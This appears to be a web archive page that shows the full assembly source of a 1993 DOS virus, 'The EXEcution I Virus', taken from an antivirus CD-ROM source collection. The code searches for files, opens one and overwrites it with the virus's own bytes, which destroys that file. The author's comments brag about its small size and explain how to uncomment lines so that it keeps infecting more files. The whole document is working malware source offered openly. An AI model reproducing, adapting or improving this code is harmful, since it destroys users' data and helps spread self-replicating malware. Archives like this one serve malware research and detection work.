home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
HPAVC
/
HPAVC CD-ROM.iso
/
SOURCE.ZIP
/
25.ASM
< prev
next >
Wrap
Assembly Source File
|
1995-05-23
|
2KB
|
46 lines
; The EXEcution I Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 25 bytes long (26 with return to DOS) and ofcourse very lame..
; But what the heck, it's just an educational piece of code!!
; (If you want it to be a little bit better, uncomment the commented lines
; and you'll have The EXEcution II virus a la 32 bytes.)
;
; (C) 1993 by [DαRkRαY] of TridenT (Ooooooranje Boooooooven!)
;
; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
; nice try to make the smallest (27 bytes) virus... gotcha!! ;-))
;
; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
; it might not work!
_CODE SEGMENT
ASSUME CS:_CODE
ORG 100h
START: ; That's where we're starting...
FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH
MOV AH,4Eh ; Let's search!
MOV DX,SI ; Make DX = 100h (offset file)
FIND: INT 21h ; Search now dude!
MOV AX,3D01h ; Hmm, infect that fucking file!
MOV DX,9Eh ; Name is at DS:[9Eh]
INT 21h ; Go do it!
; JC END
XCHG BX,AX ; Put the handle in BX
MOV AH,40h ; Write myself!
MOV DX,SI ; From offset 100h
INT 21h ; Go write!
; MOV AH,4Fh
; JMP FIND
END:
; RET ; Exit, can be used to get to dos instead
; of crashing your system, HANDY! (but 1 byte)
_CODE ENDS
END START
; If you don't like my english: Get lost, you can understand it!